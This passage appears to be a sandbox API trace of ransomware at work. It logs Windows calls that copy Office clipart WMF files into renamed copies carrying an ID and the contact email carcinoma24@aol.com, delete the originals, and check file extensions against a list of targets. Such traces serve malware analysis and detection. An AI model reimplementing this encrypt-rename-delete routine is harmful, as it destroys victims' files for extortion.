lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.592] GetLastError () returned 0x0 [0287.592] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x318, lpOverlapped=0x0) returned 1 [0287.594] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x320, lpOverlapped=0x0) returned 1 [0287.595] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.595] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.595] SetEndOfFile (hFile=0x560) returned 1 [0287.595] CloseHandle (hObject=0x560) returned 1 [0287.595] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.595] SetEndOfFile (hFile=0x41c) returned 1 [0287.598] CloseHandle (hObject=0x41c) returned 1 [0287.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0287.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.600] lstrlenW (lpString=".doc") returned 4 [0287.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.600] lstrlenW (lpString=".docx") returned 5 [0287.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.600] lstrlenW (lpString=".pdf") returned 4 [0287.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.600] lstrlenW (lpString=".xls") returned 4 [0287.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.600] lstrlenW (lpString=".xlsx") returned 5 [0287.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.600] lstrlenW (lpString=".ppt") returned 4 [0287.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.600] lstrlenW (lpString=".zip") returned 4 [0287.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.601] lstrlenW (lpString=".rar") returned 4 [0287.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.601] lstrlenW (lpString=".bz2") returned 4 [0287.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.601] lstrlenW (lpString=".7z") returned 3 [0287.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.601] lstrlenW (lpString=".dbf") returned 4 [0287.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.601] lstrlenW (lpString=".1cd") returned 4 [0287.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0287.601] lstrlenW (lpString=".jpg") returned 4 [0287.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.602] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=12748) returned 1 [0287.602] CloseHandle (hObject=0x41c) returned 1 [0287.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0287.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.603] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.603] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.604] GetLastError () returned 0x0 [0287.604] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0287.606] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0287.607] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.607] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.607] SetEndOfFile (hFile=0x560) returned 1 [0287.607] CloseHandle (hObject=0x560) returned 1 [0287.607] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.607] SetEndOfFile (hFile=0x41c) returned 1 [0287.611] CloseHandle (hObject=0x41c) returned 1 [0287.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0287.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.612] lstrlenW (lpString=".doc") returned 4 [0287.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.612] lstrlenW (lpString=".docx") returned 5 [0287.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.612] lstrlenW (lpString=".pdf") returned 4 [0287.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.612] lstrlenW (lpString=".xls") returned 4 [0287.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.613] lstrlenW (lpString=".xlsx") returned 5 [0287.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.613] lstrlenW (lpString=".ppt") returned 4 [0287.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.613] lstrlenW (lpString=".zip") returned 4 [0287.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.613] lstrlenW (lpString=".rar") returned 4 [0287.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".bz2") returned 4 [0287.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString=".7z") returned 3 [0287.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.613] lstrlenW (lpString=".dbf") returned 4 [0287.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.613] lstrlenW (lpString=".1cd") returned 4 [0287.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0287.613] lstrlenW (lpString=".jpg") returned 4 [0287.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.614] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6920) returned 1 [0287.614] CloseHandle (hObject=0x41c) returned 1 [0287.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0287.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.615] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.615] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.616] GetLastError () returned 0x0 [0287.616] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0287.618] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0287.619] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.619] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.620] SetEndOfFile (hFile=0x560) returned 1 [0287.620] CloseHandle (hObject=0x560) returned 1 [0287.620] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.620] SetEndOfFile (hFile=0x41c) returned 1 [0287.623] CloseHandle (hObject=0x41c) returned 1 [0287.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0287.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.625] lstrlenW (lpString=".doc") returned 4 [0287.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.625] lstrlenW (lpString=".docx") returned 5 [0287.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.625] lstrlenW (lpString=".pdf") returned 4 [0287.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.625] lstrlenW (lpString=".xls") returned 4 [0287.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.625] lstrlenW (lpString=".xlsx") returned 5 [0287.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.625] lstrlenW (lpString=".ppt") returned 4 [0287.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.625] lstrlenW (lpString=".zip") returned 4 [0287.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.625] lstrlenW (lpString=".rar") returned 4 [0287.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.625] lstrlenW (lpString=".bz2") returned 4 [0287.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.625] lstrlenW (lpString=".7z") returned 3 [0287.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.626] lstrlenW (lpString=".dbf") returned 4 [0287.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.626] lstrlenW (lpString=".1cd") returned 4 [0287.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0287.626] lstrlenW (lpString=".jpg") returned 4 [0287.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.626] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1256) returned 1 [0287.626] CloseHandle (hObject=0x41c) returned 1 [0287.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0287.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.628] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.628] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.945] GetLastError () returned 0x0 [0287.945] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0287.947] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0287.948] ReadFile (in: hFile=0x41c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.948] WriteFile (in: hFile=0x560, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.948] SetEndOfFile (hFile=0x560) returned 1 [0287.963] CloseHandle (hObject=0x560) returned 1 [0287.963] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.963] SetEndOfFile (hFile=0x41c) returned 1 [0287.966] CloseHandle (hObject=0x41c) returned 1 [0287.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0287.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.967] lstrlenW (lpString=".doc") returned 4 [0287.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.967] lstrlenW (lpString=".docx") returned 5 [0287.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.967] lstrlenW (lpString=".pdf") returned 4 [0287.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.967] lstrlenW (lpString=".xls") returned 4 [0287.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.968] lstrlenW (lpString=".xlsx") returned 5 [0287.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.968] lstrlenW (lpString=".ppt") returned 4 [0287.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.968] lstrlenW (lpString=".zip") returned 4 [0287.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.968] lstrlenW (lpString=".rar") returned 4 [0287.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.968] lstrlenW (lpString=".bz2") returned 4 [0287.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.968] lstrlenW (lpString=".7z") returned 3 [0287.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.968] lstrlenW (lpString=".dbf") returned 4 [0287.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.968] lstrlenW (lpString=".1cd") returned 4 [0287.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0287.968] lstrlenW (lpString=".jpg") returned 4 [0287.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.972] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=21782) returned 1 [0287.973] CloseHandle (hObject=0x53c) returned 1 [0287.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0287.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.974] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.974] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0287.995] GetLastError () returned 0x0 [0287.995] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x5516, lpOverlapped=0x0) returned 1 [0288.001] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5520, lpOverlapped=0x0) returned 1 [0288.003] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.003] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.003] SetEndOfFile (hFile=0x568) returned 1 [0288.003] CloseHandle (hObject=0x568) returned 1 [0288.003] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.003] SetEndOfFile (hFile=0x53c) returned 1 [0288.007] CloseHandle (hObject=0x53c) returned 1 [0288.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0288.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.009] lstrlenW 